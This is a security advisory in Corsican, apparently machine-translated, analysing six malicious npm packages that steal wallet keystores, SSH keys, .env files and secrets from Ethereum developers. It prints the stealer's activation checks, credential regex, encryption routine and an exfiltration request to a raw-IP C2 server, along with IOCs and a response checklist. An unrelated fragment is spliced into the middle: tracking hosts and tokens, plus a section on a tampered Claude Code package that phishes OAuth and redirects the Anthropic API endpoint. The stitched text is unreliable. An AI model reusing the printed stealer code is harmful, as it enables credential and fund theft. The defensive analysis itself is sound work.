TL; DR
U 6 di maghju di u 2026, un solu editore npm, namikazesarada010206, hà spintu sei pacchetti maliziosi chì miranu l'ecosistema di sviluppatori Ethereum, Solidity è DeFi.
I pacchetti, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, e web3-utils-core, anu utilizatu nomi plausibili cuncepiti per sembrà biblioteche d'aiutu per strumenti Web3 populari.
Tutti i sei pacchetti cuntenenu u listessu telemetry.js schedariu. U schedariu era identicu à byte in tuttu u cluster, cù SHA-256:
U malware ùn s'eseguisce micca à u mumentu di l'installazione. Ùn ci hè micca preinstall or postinstall hook. Invece, si attiva quandu u pacchettu hè impurtatu attraversu require().
Quellu dettagliu importa.
L'implantu aspetta finu à chì un sviluppatore utilizzi veramente u pacchettu. Dopu verifica se a stazione di travagliu s'assumiglia à un veru ambiente di sviluppu Ethereum / Solidity. Cerca chjave Alchemy o Infura, chjave private, mnemoniche, chjave di deployer, o un cartulare Foundry lucale.
Sè l'ospite currisponde, u ladru raccoglie e chjave private SSH, i keystore di u portafogliu Foundry / Geth / Brownie, .env* i fugliali è e variabili d'ambiente sensibili. Crittografa u pacchettu cù AES-256-GCM aduprendu una frase secreta codificata è l'esfiltra in un endpoint IPv4 C2 crudu cù a verificazione TLS disattivata.
U sistema di Malware Early Warning (MEW) di Xygeni hà cunfirmatu tutti i sei pacchetti cum'è maliziosi. U pacchettu di rapporti di rimozione di u registru npm hè in attesa.
U Cluster: Sei Pacchetti, Un Editore
U contu di l'editore namikazesarada010206 era ligatu à l'indirizzu Gmail micca verificatu namikazesarada010206@gmail.com.
A campagna hè apparsa cum'è una raffica di publicazione di un ghjornu u 6 di maghju di u 2026. Tutti i sei pacchetti sò stati versiati cum'è 1.0.0, ùn avia nisuna dipendenza da l'esecuzione, è hà speditu solu trè fugliali:
package.json index.js telemetry.js Anu ancu dichjaratu u listessu repositoriu surghjente:
https://github.com/harunosakura030303-maker/evmchain-config I primi trè pacchetti sò stati rilevati da i scanner MEW à a prima publicazione. I trè rimanenti sò stati segnalati à forza dopu à a revisione di l'analisti di u prufilu npm di l'editore. Una volta u listessu byte identicu telemetry.js hè statu cunfirmatu in tuttu u cluster, sò stati chjusi cum'è maliziosi per coerenza.
| pacchettu | Version | npm Publicatu | Bigliettu MEW | oste |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malicious |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Malicious |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Malicious |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Maliziosu, per coerenza |
| utili di fonderia | 1.0.0 | 2026-05-06 | #51071 | Maliziosu, per coerenza |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Maliziosu, per coerenza |
A strategia di numinazione hè simplice ma efficace.
Questi pacchetti ùn impersonanu micca nomi esatti upstream. Invece, utilizanu suffissi "utilità" plausibili cum'è -core, -utils, e -utils-coreCiò li face sembrà biblioteche cumpagne chì un sviluppatore puderia aspittà di vede vicinu à l'arnesi Web3.
| Pacchettu maliziosu | Bersagliu Legittimu |
|---|---|
| viem-core | viem, un cliente Ethereum TypeScript pupulare |
| viem-utils-core | Viem |
| hardhat-core-utils | hardhat, un ambiente di sviluppu Solidity mainstream |
| evm-utils | Spaziu di nomi di strumenti EVM genericu |
| utili di fonderia | fonderia, una catena di strumenti Solidity |
| web3-utils-core | web3-utils, assistenti Web3.js |
Questu hè u mudellu di u "pacchettu supplementu": micca "Sò u veru pacchettu", ma "Sembreghju un aiutu raghjonevule intornu à u veru pacchettu".
Per i sviluppatori DeFi chì si movenu rapidamente, questu hè abbastanza per creà risicu.
Ciò chì succede quandu u pacchettu hè impurtatu
A catena d'attaccu hè chjuca, deliberata è focalizzata nantu à l'ambienti di sviluppu criptograficu.
Ùn ci hè micca ganciu d'installazione. Invece, ogni pacchettu include un index.js chì esporta a funzionalità di stub è dopu carica u modulu di telemetria maliziosu.
require('./telemetry').init(); Questu significa chì u malware s'attiva à a prima importazione.
Questu hè utile operativamente per l'attaccante. Parechji scanner è sandbox si focalizanu nantu à u cumpurtamentu in tempu d'installazione. Stu pacchettu aspetta finu à ch'ellu sia effettivamente utilizatu da un sviluppatore, script di compilazione, suite di test o percorsu di runtime.
Porta d'Attivazione: Accende solu nantu à e vere stazioni di travagliu di sviluppatori Web3
A parte più impurtante di l'implantu hè a porta d'attivazione.
U malware verifica e variabili d'ambiente chì si trovanu cumunemente nantu à e macchine di sviluppatori Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Verifica ancu se Foundry pare esse installatu:
fs.existsSync(path.join(os.homedir(), '.foundry')) S'è nisuna di e duie cundizioni hè vera, a funzione restituisce è ùn face nunda.
Ciò rende u pacchettu più silenziu in ambienti d'analisi generici. Una sandbox senza Foundry, chjave Alchemy, chjave Infura, chjave private o mnemoniche pò vede una importazione chì pare innocua.
Nant'à un host currispundente, u malware aspetta da 60 à 90 secondi prima di esse cullighjatu:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); U ritardu riduce a currelazione evidente trà l'impurtazione è l'esfiltrazione. U .unref() A chjama permette ancu à u prucessu ospitante di sorte nurmalmente se u pacchettu hè statu impurtatu in un script di corta durata.
Questu ùn hè micca un cumpurtamentu rumurosu di smash-and-grab. Hè un ladrone miratu cuncipitu per evità di esse eseguitu à menu chì l'ambiente di sviluppatore ùn valga a pena di arrubà.
Ciò chì u ladru raccoglie
Una volta chì a porta d'attivazione passa, u malware raccoglie dati da e fonti più impurtanti in u sviluppu Web3: chjave private, keystore di portafogli, credenziali di implementazione, secreti cloud, token npm è cunfigurazione di u prughjettu lucale.
| surghjente | Ciò chì hè raccoltu |
|---|---|
| prucessu.ambiente | Ogni variabile currispundente /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Schedarii chì cuntenenu PRIVATE KEY o BEGIN OPENSSH, cumpresu u cuntenutu cumpletu di u schedariu |
| ~/.foundry/keystore/* | File di keystore di u portafogliu Foundry |
| ~/.ethereum/keystore/* | File di keystore di u portafogliu Geth |
| ~/.brownie/conti/* | File di u keystore di u portafogliu Brownie |
| ${cwd}/.env | Cuntenutu cumpletu di u schedariu |
| ${cwd}/.env.local | Cuntenutu cumpletu di u schedariu |
| ${cwd}/.env.production | Cuntenutu cumpletu di u schedariu |
| ${cwd}/.env.development | Cuntenutu cumpletu di u schedariu |
| os.nome_ospite() | Metadati di l'ospite |
| crypto.randomUUID() | Identificatore di vittima/sessione |
| Data.now() | Marca temporale di a cullezzione |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com I gettoni ATTA sò:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Ùn simu stati capaci di cunfirmà s'è a telemetria era l'analisi propria di l'operatore o un canale monetizatu separatamente. I gettoni ATTA sò listessi in i dui campioni chì avemu esaminatu.
Gruppu B: heibai
claude.hk Phishing OAuth + Dirottamentu ANTHROPIC_BASE_URL
U campione di u 1 d'aprile hè u bracciu più crudu è più precoce di a campagna.
heibai:2.1.88-claude.hk-4 hè statu publicatu da wuguoqiangvip28, un contu creatu u 7 di ghjugnu di u 2025. U pacchettu s'hè versionatu esplicitamente contr'à u legittimu 2.1.88 Liberazione antropica.
Ùn si preoccupa micca di CA-cert MITM. Invece, dice bugie à l'utilizatore nantu à u puntu finale OAuth.
L'aghjunzioni maliziose in cima à a fonte di Claude Code filtrata includenu:
| surghjente | Ciò chì hè raccoltu |
|---|---|
| prucessu.ambiente | Ogni variabile currispundente /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Schedarii chì cuntenenu PRIVATE KEY o BEGIN OPENSSH, cumpresu u cuntenutu cumpletu di u schedariu |
| ~/.foundry/keystore/* | File di keystore di u portafogliu Foundry |
| ~/.ethereum/keystore/* | File di keystore di u portafogliu Geth |
| ~/.brownie/conti/* | File di u keystore di u portafogliu Brownie |
| ${cwd}/.env | Cuntenutu cumpletu di u schedariu |
| ${cwd}/.env.local | Cuntenutu cumpletu di u schedariu |
| ${cwd}/.env.production | Cuntenutu cumpletu di u schedariu |
| ${cwd}/.env.development | Cuntenutu cumpletu di u schedariu |
| os.nome_ospite() | Metadati di l'ospite |
| crypto.randomUUID() | Identificatore di vittima/sessione |
| Data.now() | Marca temporale di a cullezzione |
A lista di miri hè assai specifica. Questu ùn hè micca un furtu genericu di navigatore o un scraping di credenziali generale. Hè destinatu à i sviluppatori chì custruiscenu, testanu, implementanu o operanu applicazioni Ethereum.
L'inclusione di i keystore Foundry, Geth è Brownie hè particularmente impurtante. Quessi fugliali ponu rapprisintà l'accessu direttu à i portafogli o à l'identità di implementazione. Sè l'attaccante pò assucialli cù password, mnemoniche o sicreti d'ambiente, pò esse capace di spustà fondi, impersonà i implementatori o compromettere l'operazioni di i cuntratti intelligenti.
Crittografia prima di l'esfiltrazione
U malware cripta i dati raccolti prima di mandalli.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); A frase secreta codificata hè:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d U payload finale hè imballatu cum'è JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} A crittografia ùn rende micca u malware più avanzatu da per sè. Tuttavia, rende più difficiule l'ispezione di a rete. Un difensore chì osserva l'uscita viderebbe un payload JSON, ma micca e chjave arrubate, i fugliali di portafogliu, o .env cuntenutu senza a frase secreta codificata è a logica di decifrazione.
Esfiltrazione versu un C2 IPv4 crudu
U percorsu di esfiltrazione hè codificatu in modu rigidu:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); U malware manda dati à:
https://76.13.37.80:8443/api/v1/telemetry Dui ditaglii spiccanu.
Prima, u C2 hè un indirizzu IPv4 crudu piuttostu chè un duminiu. Questu elimina a necessità di registrazione di duminiu è evita alcune rilevazioni basate nantu à u duminiu.
Siconda, a verificazione TLS hè disattivata cù:
rejectUnauthorized: false Ciò permette à u malware d'accettà qualsiasi certificatu, cumpresi i certificati autofirmati. In altre parole, l'attaccante ottiene un trasportu criptatu senza avè bisognu di un certificatu publicu validu.
Ùn ci hè nisuna logica di ripetizione è nisun host di fallback. L'errori sò inghjuttiti in silenziu. Questu mantene u pacchettu silenziu se u C2 hè offline o irraggiungibile.
Perchè Sta Campagna importa
A maiò parte di i pacchetti npm maliziosi destinati à i sviluppatori cercanu credenziali generiche: token npm, chjave AWS, token GitHub, o .npmrc i schedari.
Sta campagna restringe u target.
Cerca segni chì a macchina appartene à un sviluppatore Ethereum o Solidity. Dopu, estrae esattamente l'assi chì importanu in quellu ambiente: keystore di portafogli, chjavi private, mnemoniche, chjavi di implementazione, .env i fugliali è e chjave SSH.
Ciò rende a campagna più periculosa per e squadre Web3 chè un ladru npm genericu.
Una infezione riescita puderia espone:
- Portafogli di implementazione
- Chjavi d'amministrazione di cuntratti intelligenti
- Chjavi di u fornitore RPC
- Credenziali di implementazione in nuvola
- gettoni di publicazione npm
- Accessu SSH à u sviluppatore o à l'infrastruttura di custruzzione
- Sicreti di u prugettu almacenati in
.envschedari - Magazzini di chjave di portafogliu per Foundry, Geth, o Brownie
I nomi di i pacchetti mostranu ancu una chiara ingegneria suciale. Si rivolgenu à l'ecosistema di sviluppatori Web3 per mezu di nomi di strumenti familiari: viem, hardhat, foundry, evm, e web3.
L'attore ùn hà bisognu di cumprumette i prughjetti veri. Anu solu bisognu di un sviluppatore per installà ciò chì pare un pacchettu cumpagnu raghjonevule.
Indicatori di Compromissione è Rilevazione
| Pacchetti è Editore | |
|---|---|
| campu | Value |
| editore npm | namikazesarada010206 |
| E-mail di l'editore | namikazesarada010206@gmail.com |
| email verificatu | Innò |
| SCM verificate | Innò |
| Puntu di reputazione | 1.0 |
| Packages | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versioni | Tutte e 1.0.0 |
| Repositoriu surghjente | https://github.com/harunosakura030303-maker/evmchain-config |
| Maliziosu cunfirmatu | Tutti i sei pacchetti |
| Network | |
|---|---|
| Type | Value |
| Puntu finale C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Portu C2 | 8443/tcp |
| Cumportamentu TLS | ricusàSenza autorizazione: falsu |
| Schema di carica utile | {"v":2,"iv": "d": "t": } |
| File è Hash | |
|---|---|
| Type | Value |
| telemetria.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Disposizione di u pacchettu | package.json, index.js, telemetry.js |
| Conte di schedari | 3 |
| Dimensione tutale apprussimativa | 3.4 KB |
Signali d'attivazione
U malware verifica queste variabili d'ambiente:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Verifica ancu:
~/.foundry/ Percorsi di l'ospite mirati
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Cullizzioni Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Note di rilevazione
Parechje regule catturanu sta campagna senza bisognu di una analisi cumpleta di u cumpurtamentu.
Prima, scansionate i fugliali di bloccu per i sei nomi di pacchetti maliziosi:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Ogni partita in package-lock.json, yarn.lock, pnpm-lock.yaml, o node_modules A storia deve esse trattata cum'è un incidente seriu.
Siconda, monitorate i prucessi Node.js chì leghjenu i percorsi di u keystore di u wallet:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Questu hè raramente un cumpurtamentu legittimu per un pacchettu impurtatu cum'è una dipendenza d'aiutu. Hè particularmente suspettu quandu hè seguitatu da attività di rete in uscita.
Terzu, bluccà o avvisà e cunnessione HTTPS à:
76.13.37.80:8443 In particulare quandu u percorsu di a dumanda hè:
/api/v1/telemetry Quartu, cercate pacchetti npm chì combinanu queste caratteristiche:
- Editore novu o di bassa reputazione
- Contu Gmail micca verificatu
- Nome di u pacchettu adiacente à Web3
- Nisuna storia di repositoriu significativa
- Picca dispusizione di pacchetti
index.jschì carica un schedariu di telemetria o d'aiutu- Nisuna dipendenza da u tempu d'esecuzione
- Cullizzioni di variabili d'ambiente sensibili
- Accessu à u keystore di u portafogliu
Stu mudellu hè più utile chè un solu IOC perchè u prossimu pacchettu pò cambià l'indirizzu IP ma mantene a listessa logica di targeting.
Lista di cuntrollu di risposta di compromissione
Sè un sviluppatore hà utilizatu unu di i sei pacchetti è u so ambiente currisponde à a porta d'attivazione, trattate a stazione di travagliu cum'è cumprumessa.
Ciò include macchine cù Foundry installatu, chjave Alchemy o Infura in l'ambiente, chjave private, mnemoniche o chjave di deployer.
Risposta cunsigliata:
- Scollegà l'ospite da a rete.
- Preservà
node_modules, i fugliali di serratura, a storia di a shell è i logs pertinenti per a forense. - Girate ogni paru di chjave SSH sottu
~/.ssh/. - Rotate e chjave di u portafogliu per ogni magazinu di chjave sottu
~/.foundry,~/.ethereum, e~/.brownie. - Trasferisce i fondi in portafogli freschi.
- Girate ogni sicretu almacenatu in
.env*i fugliali in i repositori in i quali u sviluppatore hà travagliatu. - Ruotate i sicreti di l'ambiente chì currispondenu à a regex di a cullezzione, cumprese e chjave AWS, i token npm, i token di implementazione, e chjave API, e chjave private, i seed è i mnemonichi.
- Audità l'attività di u cloud, npm, GitHub, di u fornitore RPC è di a blockchain dapoi a prima installazione di u pacchettu.
- Ricreà l'immagine di a stazione di travagliu prima di riutilizalla.
Ciò chì i difensori devenu piglià via
Sta campagna mostra cumu u typosquatting di npm si evolve intornu à ecosistemi di sviluppatori di altu valore.
L'attore ùn avia bisognu di persistenza. Ùn avianu bisognu di offuscamentu. Ùn avianu mancu bisognu di esecuzione in tempu d'installazione.
Invece, si sò basati nantu à trè cose:
- Nomi di pacchetti Web3 plausibili
- Attivazione solu nantu à e macchine di sviluppu criptograficu reale
- Furtu direttu di i fugliali è di i sicreti chì importanu di più à i sviluppatori di Ethereum
Ciò rende a campagna faciule da mancà in una scansione generale è periculosa quandu si trova in l'ambiente ghjustu.
Per e squadre Web3, a lezziò hè chjara: trattate i nomi di e dipendenze cum'è parte di u vostru mudellu di minaccia. Un pacchettu chì pare un aiutu innocu pò ancu diventà a strada più corta per a compromissione di u portafogliu.
Segnalatu à u registru npm. Aggiorneremu questu articulu quandu u contu di l'editore è i pacchetti saranu rimossi.




